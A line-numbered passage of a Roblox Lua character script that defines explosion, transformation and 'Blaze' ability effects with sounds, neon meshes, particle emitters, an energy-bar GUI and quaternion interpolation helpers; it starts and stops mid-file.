  1351. plodezar.Looped = false
  1352. plodezar:Play()
  1353. expld.BlastRadius = rad
  1354. expld.Position = par.Position
  1355. wait(0.5)
  1356. par:Destroy()
  1357. plode.Parent = nil
  1358. expart.Parent = nil
  1359. expart2.Parent = nil
  1360. expld.Parent = nil
  1361. end
  1362. function ExplodeMassen(rad,par)
  1363. local expart = Instance.new("Part",script.Parent)
  1364. local expart2 = Instance.new("Part",script.Parent)
  1365. local partMesh = Instance.new("SpecialMesh",expart)
  1366. partMesh.MeshType = "Sphere"
  1367. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1368. partMesh2.MeshType = "Sphere"
  1369. local expld = Instance.new("Explosion", script.Parent)
  1370. local plode = Instance.new("Sound",workspace)
  1371. plode.SoundId = "rbxassetid://579687077"
  1372. plode.Volume = 1
  1373. plode.Pitch = 0.85
  1374. plode.Looped = false
  1375. plode:Play()
  1376. local plodez = Instance.new("Sound",workspace)
  1377. plodez.SoundId = "rbxassetid://288641686"
  1378. plodez.Volume = 1
  1379. plodez.Pitch = 0.75
  1380. plodez.Looped = false
  1381. plodez:Play()
  1382. local plodeza = Instance.new("Sound",workspace)
  1383. plodeza.SoundId = "rbxassetid://197161452"
  1384. plodeza.Volume = 0.85
  1385. plodeza.Pitch = 0.65
  1386. plodeza.Looped = false
  1387. plodeza:Play()
  1388. local plodezar = Instance.new("Sound",workspace)
  1389. plodezar.SoundId = "rbxassetid://197161452"
  1390. plodezar.Volume = 0.85
  1391. plodezar.Pitch = 0.25
  1392. plodezar.Looped = false
  1393. plodezar:Play()
  1394. expld.BlastRadius = rad
  1395. expld.Position = par.Position
  1396. partMesh.Scale = vt(rad,rad,rad)
  1397. expart.Size = vt(1,1,1)*1.5
  1398. expart.Transparency = 0
  1399. expart.Anchored = true
  1400. expart.Material = "Neon"
  1401. expart.BrickColor = bc("White")
  1402. expart.CFrame = par.CFrame
  1403. partMesh2.Scale = vt(rad,rad,rad)
  1404. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1405. expart2.Transparency = 0.5
  1406. expart2.Anchored = true
  1407. expart2.Material = "Neon"
  1408. expart2.BrickColor = tors.BrickColor
  1409. expart2.CFrame = par.CFrame
  1410. local value = 1*rad/10
  1411. par:Destroy()
  1412. for i = 0, 300 do
  1413. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1414. expart.CFrame = expart.CFrame
  1415. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1416. expart2.CFrame = expart.CFrame
  1417. value = value - 0.0175*rad/10
  1418. if value <= 0 then
  1419. expart.Transparency = expart.Transparency + 0.0125
  1420. expart2.Transparency = expart2.Transparency + 0.0125
  1421. value = 0.25
  1422. end
  1423. wait()
  1424. end
  1425. plode.Parent = nil
  1426. expart.Parent = nil
  1427. expart2.Parent = nil
  1428. expld.Parent = nil
  1429. end
  1430. local Ultramode = false
  1431.  
  1432. function Transform()
  1433. if basiccooldown >= 5 then
  1434. hum.WalkSpeed = 0
  1435. local sparta = Instance.new("Part",workspace)
  1436. local msher = Instance.new("SpecialMesh",sparta)
  1437. msher.MeshType = "Sphere"
  1438. msher.Scale = vt(1,1,1)
  1439. wit = BrickColor.new("Really black").Color
  1440. local glowz = Instance.new("ParticleEmitter")
  1441. glowz.LightEmission = 1
  1442. glowz.Parent = sparta
  1443. glowz.Texture = "rbxassetid://284205403"
  1444. glowz.Color = ColorSequence.new(wit)
  1445. glowz.Size = NumberSequence.new(15)
  1446. glowz.Speed = NumberRange.new(100,250)
  1447. glowz.LockedToPart = false
  1448. glowz.Transparency = NumberSequence.new(0.75)
  1449. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1450. glowz.Lifetime = NumberRange.new(1)
  1451. glowz.Rate = 50000
  1452. glowz.VelocitySpread = 9001
  1453. local sa2 = Instance.new("Sound",sparta)
  1454. sa2.SoundId = "rbxassetid://93724183"
  1455. sa2.Pitch = 0.5
  1456. sa2.Volume = 5
  1457. sa2.Looped = false
  1458. sa2:Play()
  1459. local saz2 = Instance.new("Sound",sparta)
  1460. saz2.SoundId = "rbxassetid://199145659"
  1461. saz2.Pitch = 0.45
  1462. saz2.Volume = 5*2
  1463. saz2.Looped = false
  1464. local plode = Instance.new("Sound",sparta)
  1465. plode.SoundId = "rbxassetid://153274423"
  1466. plode.Volume = 5
  1467. plode.Pitch = 1
  1468. plode.Looped = false
  1469. local ploder = Instance.new("Sound",sparta)
  1470. ploder.SoundId = "rbxassetid://130972023"
  1471. ploder.Volume = 5
  1472. ploder.Pitch = 1
  1473. ploder.Looped = false
  1474. sparta.Size = vt(1,1,1)
  1475. sparta.BrickColor = BrickColor.new("Really black")
  1476. sparta.Material = "Neon"
  1477. sparta.Transparency = 0
  1478. sparta.Anchored = true
  1479. sparta.CanCollide = false
  1480. sparta.CFrame = tors.CFrame
  1481. sparta.Rotation = vt(0,0,0)
  1482. local value2 = 2
  1483. for i = 0, 24 do
  1484. value2 = value2 - 0.065
  1485. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1486. wait()
  1487. end
  1488. for i = 0, 10 do
  1489. value2 = value2 + 0.06575
  1490. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1491. wait()
  1492. end
  1493. for i = 0, 10 do
  1494. value2 = value2 - 0.2
  1495. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1496. wait()
  1497. end
  1498. for i = 0, 10 do
  1499. value2 = value2 + 0.275
  1500. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1501. wait()
  1502. end
  1503. for i = 0, 10 do
  1504. value2 = value2 - 0.4
  1505. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1506. wait()
  1507. end
  1508. for i = 0, 10 do
  1509. value2 = value2 + 0.475
  1510. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1511. wait()
  1512. end
  1513. for i = 0, 10 do
  1514. value2 = value2 - 0.6
  1515. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1516. wait()
  1517. end
  1518. for i = 0, 10 do
  1519. value2 = value2 + 0.675
  1520. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1521. wait()
  1522. end
  1523. for i = 0, 10 do
  1524. value2 = value2 - 0.7
  1525. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1526. wait()
  1527. end
  1528. for i = 0, 10 do
  1529. value2 = value2 + 0.775
  1530. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1531. wait()
  1532. end
  1533. saz2:Play()
  1534. wait(2.75)
  1535. plode:Play()
  1536. ploder:Play()
  1537. Ultramode = true
  1538. for i = 0, 75 do
  1539. value2 = value2 - 0.0575
  1540. glowz.Rate = 0
  1541. sparta.Transparency = sparta.Transparency + 0.025
  1542. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1543. wait()
  1544. end
  1545. hum.WalkSpeed = 16
  1546. sparta:Destroy()
  1547. end
  1548. end
  1549.  
  1550.  
  1551. function Blaze2()
  1552. if ultcooldown >= 30 then
  1553. local sloc = Instance.new("Part",workspace)
  1554. local msh = Instance.new("SpecialMesh",sloc)
  1555. msh.MeshType = "Sphere"
  1556. sloc.Size = vt(1,1,1)
  1557. sloc.Transparency = 1
  1558. sloc.BrickColor = tors.BrickColor
  1559. sloc.Position = hed.Position + vt(0,0.1,0)
  1560. sloc.CanCollide = false
  1561. sloc.Shape = "Ball"
  1562. sloc.Anchored = true
  1563. sloc.Material = "Neon"
  1564. local s = Instance.new("Sound",char)
  1565. s.SoundId = "rbxassetid://289315275"
  1566. s.Pitch = 1
  1567. s.Volume = 2.75
  1568. s.Looped = false
  1569. s:Play()
  1570. local s2 = Instance.new("Sound",char)
  1571. s2.SoundId = "rbxassetid://671759140"
  1572. s2.Pitch = 0.425
  1573. s2.Volume = 1
  1574. s2.Looped = false
  1575. s2:Play()
  1576. local val = 0.65*5
  1577. for i = 0 , 75 do
  1578. sloc.Transparency = sloc.Transparency - 0.035
  1579. msh.Scale = msh.Scale + vt(val,val,val)
  1580. val = val - 0.0075*5
  1581. wait()
  1582. end
  1583. wait(2)
  1584. local sen = Instance.new("Sound",char)
  1585. sen.SoundId = "rbxassetid://289315275"
  1586. sen.Pitch = 1
  1587. sen.Volume = 2.75
  1588. sen.Looped = false
  1589. sen:Play()
  1590. local tick = Instance.new("Sound",char)
  1591. tick.SoundId = "rbxassetid://446876721"
  1592. tick.Volume = 2.5
  1593. tick.Pitch = 0.5
  1594. tick:Play()
  1595. msh.Scale = msh.Scale - vt(1,1,1)
  1596. sloc.Transparency = sloc.Transparency + 0.015
  1597. local spart = Instance.new("Part",workspace)
  1598. local msh2 = Instance.new("SpecialMesh",spart)
  1599. msh2.MeshType = "Sphere"
  1600. spart.Size = vt(2,2,2)
  1601. spart.Shape = "Ball"
  1602. spart.BrickColor = tors.BrickColor
  1603. spart.Material = "Neon"
  1604. spart.Transparency = 0
  1605. spart.Anchored = false
  1606. msh2.Scale = msh.Scale/2
  1607. spart.Rotation = hed.Rotation
  1608. spart.CanCollide = false
  1609. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1610. local bv = Instance.new("BodyVelocity")
  1611. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1612. bv.velocity = mouse.Hit.lookVector * 125
  1613. bv.Parent = spart
  1614. sloc:Destroy()
  1615. wait(0.00001)
  1616. pewdiepie=spart.Touched:connect(function(hit)
  1617. ExplodeMassen(100,spart)
  1618. end)
  1619. wait(5)
  1620. sloc:Destroy()
  1621. tick:Destroy()
  1622. s:Destroy()
  1623. sen:Destroy()
  1624. s2:Destroy()
  1625. end
  1626. if ultcooldown < 1 then
  1627. for i = 0, 29 do
  1628. ultcooldown = ultcooldown + 1
  1629. wait(1)
  1630. end
  1631. end
  1632. end
  1633.  
  1634. function Blaze()
  1635. if ultcooldown >= 30 then
  1636. local ff = Instance.new("ForceField",char)
  1637. local s = Instance.new("Sound",char)
  1638. s.SoundId = "rbxassetid://289315275"
  1639. s.Pitch = 1
  1640. s.Volume = 2.75
  1641. s.Looped = false
  1642. s:Play()
  1643. local s2 = Instance.new("Sound",char)
  1644. s2.SoundId = "rbxassetid://671759140"
  1645. s2.Pitch = 0.425
  1646. s2.Volume = 1
  1647. s2.Looped = false
  1648. s2:Play()
  1649. local spart = boll:Clone()
  1650. local spart2 = shur:Clone()
  1651. local msh = Instance.new("SpecialMesh",spart)
  1652. msh.MeshType = "Sphere"
  1653. spart.Parent = workspace
  1654. spart.Transparency = 1
  1655. spart.Anchored = true
  1656. spart.Position = tors.Position + vt(0,1,0)
  1657. spart.Size = spart.Size + vt(1,1,1)
  1658. for i = 0, 10 do
  1659. spart.BrickColor = tors.BrickColor
  1660. spart.Transparency = spart.Transparency + -0.05
  1661. spart.Position = tors.Position + vt(0,1,0)
  1662. spart.Size = spart.Size + vt(3,3,3)
  1663. wait(0)
  1664. end
  1665. for i = 0, 5 do
  1666. spart.BrickColor = tors.BrickColor
  1667. spart.Transparency = spart.Transparency + -0.05
  1668. spart.Position = tors.Position + vt(0,1,0)
  1669. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1670. wait(0)
  1671. end
  1672. for i = 0, 5 do
  1673. spart.BrickColor = tors.BrickColor
  1674. spart.Transparency = spart.Transparency + -0.05
  1675. spart.Position = tors.Position + vt(0,1,0)
  1676. spart.Size = spart.Size + vt(1,1,1)
  1677. wait(0)
  1678. end
  1679. for i = 0, 10 do
  1680. spart.BrickColor = tors.BrickColor
  1681. wait(0.1)
  1682. end
  1683. for i = 0, 20 do
  1684. spart.BrickColor = tors.BrickColor
  1685. spart.Transparency = spart.Transparency + 0.05
  1686. spart.Position = tors.Position + vt(0,1,0)
  1687. spart.Size = spart.Size + vt(-5,-5,-5)
  1688. wait(0)
  1689. end
  1690. local sp = spart:Clone()
  1691. sp.Parent = workspace
  1692. sp.Position = spart.Position
  1693. local sp2 = sp:Clone()
  1694. sp2.Parent = workspace
  1695. sp2.Transparency = 0.5
  1696. local msh2 = sp2.Mesh
  1697. msh2.Scale = vt(1250,1250,1250)
  1698. wit = tors.BrickColor.Color
  1699. local glowz = Instance.new("ParticleEmitter")
  1700. glowz.LightEmission = 0.75
  1701. glowz.Parent = sp2
  1702. glowz.Texture = "rbxassetid://284205403"
  1703. glowz.Color = ColorSequence.new(wit)
  1704. glowz.Size = NumberSequence.new(50)
  1705. glowz.Speed = NumberRange.new(425,450)
  1706. glowz.LockedToPart = false
  1707. glowz.Transparency = NumberSequence.new(0.75)
  1708. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1709. glowz.Lifetime = NumberRange.new(1)
  1710. glowz.Rate = 50000
  1711. glowz.VelocitySpread = 9001
  1712. spart2.Parent = workspace
  1713. spart2.Mesh.Scale = vt(25, 90000, 25)
  1714. spart2.Position = tors.Position
  1715. local seen = Instance.new("Sound",char)
  1716. seen.SoundId = "rbxassetid://445796828"
  1717. seen.Pitch = 0.75
  1718. seen.Volume = 1.75
  1719. seen.Looped = true
  1720. seen:Play()
  1721. local sen = Instance.new("Sound",char)
  1722. sen.SoundId = "rbxassetid://289315275"
  1723. sen.Pitch = 0.98
  1724. sen.Volume = 2.65
  1725. sen.Looped = false
  1726. sen:Play()
  1727. local tick = Instance.new("Sound",char)
  1728. tick.SoundId = "rbxassetid://446876721"
  1729. tick.Volume = 5
  1730. tick.Pitch = 0.5
  1731. tick:Play()
  1732. local seena = Instance.new("Sound",char)
  1733. seena.SoundId = "rbxassetid://300916057"
  1734. seena.Pitch = 0.5
  1735. seena.Volume = 2.5
  1736. seena.Looped = false
  1737. seena:Play()
  1738. spart.Transparency = 0
  1739. ExplodeMass(1000,sp)
  1740. for i = 0, 450 do
  1741. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1742. sp2.Position = spart.Position
  1743. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1744. spart2.BrickColor = tors.BrickColor
  1745. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1746. msh.Scale = msh.Scale + vt(50,50,50)
  1747. sp2.Transparency = sp2.Transparency + 0.0005
  1748. spart.Transparency = spart.Transparency + 0.0025
  1749. spart2.Transparency = spart2.Transparency + 0.0025
  1750. wait(0)
  1751. end
  1752. spart:Destroy()
  1753. seena:Destroy()
  1754. ff:Destroy()
  1755. seen:Destroy()
  1756. sen:Destroy()
  1757. tick:Destroy()
  1758. spart2:Destroy()
  1759. s:Destroy()
  1760. sp:Destroy()
  1761. sp2:Destroy()
  1762. s2:Destroy()
  1763. end
  1764. if ultcooldown < 1 then
  1765. for i = 0, 29 do
  1766. ultcooldown = ultcooldown + 1
  1767. wait(1)
  1768. end
  1769. end
  1770. end
  1771.  
  1772. -- sin
  1773. Player=game:GetService("Players").LocalPlayer
  1774. Character=Player.Character
  1775. PlayerGui=Player.PlayerGui
  1776. Backpack=Player.Backpack
  1777. Torso=Character.Torso
  1778. Head=Character.Head
  1779. Humanoid=Character.Humanoid
  1780. m=Instance.new('Model',Character)
  1781. LeftArm=Character["Left Arm"]
  1782. LeftLeg=Character["Left Leg"]
  1783. RightArm=Character["Right Arm"]
  1784. RightLeg=Character["Right Leg"]
  1785. LS=Torso["Left Shoulder"]
  1786. LH=Torso["Left Hip"]
  1787. RS=Torso["Right Shoulder"]
  1788. RH=Torso["Right Hip"]
  1789. Face = Head.face
  1790. Neck=Torso.Neck
  1791. it=Instance.new
  1792. attacktype=1
  1793. vt=Vector3.new
  1794. cf=CFrame.new
  1795. euler=CFrame.fromEulerAnglesXYZ
  1796. angles=CFrame.Angles
  1797. cloaked=false
  1798. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1799. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1800. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1801. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1802. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1803. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1804. RootPart=Character.HumanoidRootPart
  1805. RootJoint=RootPart.RootJoint
  1806. RootCF=euler(-1.57,0,3.14)
  1807. attack = false
  1808. attackdebounce = false
  1809. deb=false
  1810. equipped=true
  1811. hand=false
  1812. MMouse=nil
  1813. combo=0
  1814. mana=0
  1815. trispeed=1
  1816. pathtrans=.7
  1817. attackmode='none'
  1818. local idle=0
  1819. local Anim="Idle"
  1820. local Effects={}
  1821. local gun=false
  1822. local shoot=false
  1823. player=nil
  1824. cloak=false
  1825. lightcolor='Bright blue'
  1826.  
  1827. local Color1=Main_Color_1
  1828.  
  1829. local fengui=it("GuiMain")
  1830. fengui.Parent=Player.PlayerGui
  1831. fengui.Name="WeaponGUI"
  1832. local fenframe=it("Frame")
  1833. fenframe.Parent=fengui
  1834. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1835. fenframe.BackgroundTransparency=1
  1836. fenframe.BorderColor3=Color3.new(17,17,17)
  1837. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1838. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1839. local fenbarmana1=it("TextLabel")
  1840. fenbarmana1.Parent=fenframe
  1841. fenbarmana1.Text=" "
  1842. fenbarmana1.BackgroundTransparency=0
  1843. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1844. fenbarmana1.SizeConstraint="RelativeXY"
  1845. fenbarmana1.TextXAlignment="Center"
  1846. fenbarmana1.TextYAlignment="Center"
  1847. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1848. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1849. local fenbarmana2=it("TextLabel")
  1850. fenbarmana2.Parent=fenframe
  1851. fenbarmana2.Text=" "
  1852. fenbarmana2.BackgroundTransparency=0
  1853. fenbarmana2.BackgroundColor3=Torso.Color
  1854. fenbarmana2.SizeConstraint="RelativeXY"
  1855. fenbarmana2.TextXAlignment="Center"
  1856. fenbarmana2.TextYAlignment="Center"
  1857. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1858. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1859. local fenbarmana3=it("TextLabel")
  1860. fenbarmana3.Parent=fenframe
  1861. fenbarmana3.Text=" "
  1862. fenbarmana3.BackgroundTransparency=0
  1863. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1864. fenbarmana3.SizeConstraint="RelativeXY"
  1865. fenbarmana3.TextXAlignment="Center"
  1866. fenbarmana3.TextYAlignment="Center"
  1867. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1868. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1869. local fenbarmana4=it("TextLabel")
  1870. fenbarmana4.Parent=fenframe
  1871. fenbarmana4.Text="Energy("..mana..")"
  1872. fenbarmana4.BackgroundTransparency=1
  1873. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1874. fenbarmana4.SizeConstraint="RelativeXY"
  1875. fenbarmana4.TextXAlignment="Center"
  1876. fenbarmana4.TextYAlignment="Center"
  1877. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1878. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1879. fenbarmana4.FontSize="Size9"
  1880. fenbarmana4.TextStrokeTransparency=0
  1881. fenbarmana4.TextColor=BrickColor.new("White")
  1882.  
  1883. mouse=Player:GetMouse()
  1884. --save shoulders
  1885. RSH, LSH=nil, nil
  1886. --welds
  1887. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1888. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1889. LH=Torso["Left Hip"]
  1890. RH=Torso["Right Hip"]
  1891. TorsoColor=BrickColor.new("Really red")
  1892. function NoOutline(Part)
  1893. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1894. end
  1895. player=Player
  1896. ch=Character
  1897. RSH=ch.Torso["Right Shoulder"]
  1898. LSH=ch.Torso["Left Shoulder"]
  1899. --
  1900. RSH.Parent=nil
  1901. LSH.Parent=nil
  1902. --
  1903. RW.Name="Right Shoulder"
  1904. RW.Part0=ch.Torso
  1905. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1906. RW.C1=cf(0, 0.5, 0)
  1907. RW.Part1=ch["Right Arm"]
  1908. RW.Parent=ch.Torso
  1909. --
  1910. LW.Name="Left Shoulder"
  1911. LW.Part0=ch.Torso
  1912. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1913. LW.C1=cf(0, 0.5, 0)
  1914. LW.Part1=ch["Left Arm"]
  1915. LW.Parent=ch.Torso
  1916.  
  1917.  
  1918. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1919. local fp=it("Part")
  1920. fp.formFactor=formfactor
  1921. fp.Parent=parent
  1922. fp.Reflectance=reflectance
  1923. fp.Transparency=transparency
  1924. fp.CanCollide=false
  1925. fp.Locked=true
  1926. fp.BrickColor=brickcolor
  1927. fp.Name=name
  1928. fp.Size=size
  1929. fp.Position=Torso.Position
  1930. NoOutline(fp)
  1931. fp.Material="Neon"
  1932. fp:BreakJoints()
  1933. return fp
  1934. end
  1935.  
  1936. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1937. local mesh=it(Mesh)
  1938. mesh.Parent=part
  1939. if Mesh=="SpecialMesh" then
  1940. mesh.MeshType=meshtype
  1941. if meshid~="nil" then
  1942. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1943. end
  1944. end
  1945. mesh.Offset=offset
  1946. mesh.Scale=scale
  1947. return mesh
  1948. end
  1949.  
  1950. function weld(parent,part0,part1,c0)
  1951. local weld=it("Weld")
  1952. weld.Parent=parent
  1953. weld.Part0=part0
  1954. weld.Part1=part1
  1955. weld.C0=c0
  1956. return weld
  1957. end
  1958.  
  1959. local Color1=Main_Color_1
  1960.  
  1961. local bodvel=Instance.new("BodyVelocity")
  1962. local bg=Instance.new("BodyGyro")
  1963.  
  1964. function swait(num)
  1965. if num==0 or num==nil then
  1966. game:service'RunService'.Stepped:wait(0)
  1967. else
  1968. for i=0,num do
  1969. game:service'RunService'.Stepped:wait(0)
  1970. end
  1971. end
  1972. end
  1973.  
  1974.  
  1975. so = function(id,par,vol,pit)
  1976. coroutine.resume(coroutine.create(function()
  1977. local sou = Instance.new("Sound",par or workspace)
  1978. sou.Volume=vol
  1979. sou.Pitch=pit or 1
  1980. sou.SoundId=id
  1981. swait()
  1982. sou:play()
  1983. game:GetService("Debris"):AddItem(sou,6)
  1984. end))
  1985. end
  1986.  
  1987. function clerp(a,b,t)
  1988. local qa = {QuaternionFromCFrame(a)}
  1989. local qb = {QuaternionFromCFrame(b)}
  1990. local ax, ay, az = a.x, a.y, a.z
  1991. local bx, by, bz = b.x, b.y, b.z
  1992. local _t = 1-t
  1993. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1994. end
  1995.  
  1996. function QuaternionFromCFrame(cf)
  1997. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1998. local trace = m00 + m11 + m22
  1999. if trace > 0 then
  2000. local s = math.sqrt(1 + trace)
  2001. local recip = 0.5/s
  2002. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  2003. else
  2004. local i = 0
  2005. if m11 > m00 then
  2006. i = 1
  2007. end
  2008. if m22 > (i == 0 and m00 or m11) then
  2009. i = 2
  2010. end
  2011. if i == 0 then
  2012. local s = math.sqrt(m00-m11-m22+1)
  2013. local recip = 0.5/s
  2014. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  2015. elseif i == 1 then
  2016. local s = math.sqrt(m11-m22-m00+1)
  2017. local recip = 0.5/s
  2018. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  2019. elseif i == 2 then
  2020. local s = math.sqrt(m22-m00-m11+1)
  2021. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  2022. end
  2023. end
  2024. end
  2025.  
  2026. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  2027. local xs, ys, zs = x + x, y + y, z + z
  2028. local wx, wy, wz = w*xs, w*ys, w*zs
  2029. local xx = x*xs
  2030. local xy = x*ys
  2031. local xz = x*zs
  2032. local yy = y*ys
  2033. local yz = y*zs
  2034. local zz = z*zs
  2035. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  2036. end
  2037.  
  2038. function QuaternionSlerp(a, b, t)
  2039. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2040. local startInterp, finishInterp;
  2041. if cosTheta >= 0.0001 then
  2042. if (1 - cosTheta) > 0.0001 then
  2043. local theta = math.acos(cosTheta)
  2044. local invSinTheta = 1/math.sin(theta)
  2045. startInterp = math.sin((1-t)*theta)*invSinTheta
  2046. finishInterp = math.sin(t*theta)*invSinTheta
  2047. else
  2048. startInterp = 1-t
  2049. finishInterp = t
  2050. end
  2051. else
  2052. if (1+cosTheta) > 0.0001 then
  2053. local theta = math.acos(-cosTheta)
  2054. local invSinTheta = 1/math.sin(theta)
  2055. startInterp = math.sin((t-1)*theta)*invSinTheta
  2056. finishInterp = math.sin(t*theta)*invSinTheta
  2057. else
  2058. startInterp = t-1
  2059. finishInterp = t
  2060. end
  2061. end
  2062. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2063. end
  2064.  
  2065. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2066. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2067. end
  2068.  
  2069. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2070. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2071. prt.Anchored=true
  2072. prt.CFrame=cframe
  2073. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2074. --http://www.roblox.com/asset/?id=4770560
  2075. game:GetService("Debris"):AddItem(prt,2)
  2076. CF=prt.CFrame
  2077. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2078. for i=0,1,0.2 do
  2079. wait()
  2080. Part.CFrame=CF*cf(0,0,-0.4)
  2081. end
  2082. for i=0,1,delay do
  2083. wait()
  2084. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2085. Mesh.Scale=Mesh.Scale
  2086. end
  2087. for i=0,1,0.1 do
  2088. wait()
  2089. Part.Transparency=i
  2090. end
  2091. Part.Parent=nil
  2092. end),prt,msh,CF)
  2093. end
  2094.  
  2095. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2096. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2097. prt.Anchored=true
  2098. prt.CFrame=cframe
  2099. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2100. game:GetService("Debris"):AddItem(prt,5)
  2101. coroutine.resume(coroutine.create(function(Part,Mesh)
  2102. for i=0,1,delay do
  2103. wait()
  2104. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2105. Part.Transparency=i
  2106. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2107. end
  2108. Part.Parent=nil
  2109. end),prt,msh)
  2110. end
  2111.  
  2112. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2113. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2114. prt.Anchored=false
  2115. prt.CFrame=cframe
  2116. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2117. local wld=weld(prt,prt,Parent,cframe)
  2118. game:GetService("Debris"):AddItem(prt,5)
  2119. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2120. for i=0,1,delay do
  2121. wait()
  2122. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2123. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2124. Part.Transparency=i
  2125. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2126. end
  2127. Part.Parent=nil
  2128. end),prt,msh,wld)
  2129. end
  2130.  
  2131. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2132. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2133. prt.Anchored=false
  2134. prt.CFrame=cframe
  2135. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2136. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2137. game:GetService("Debris"):AddItem(prt,5)
  2138. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2139. for i=0,1,delay do
  2140. wait()
  2141. Weld.C0=euler(i*20,0,0)
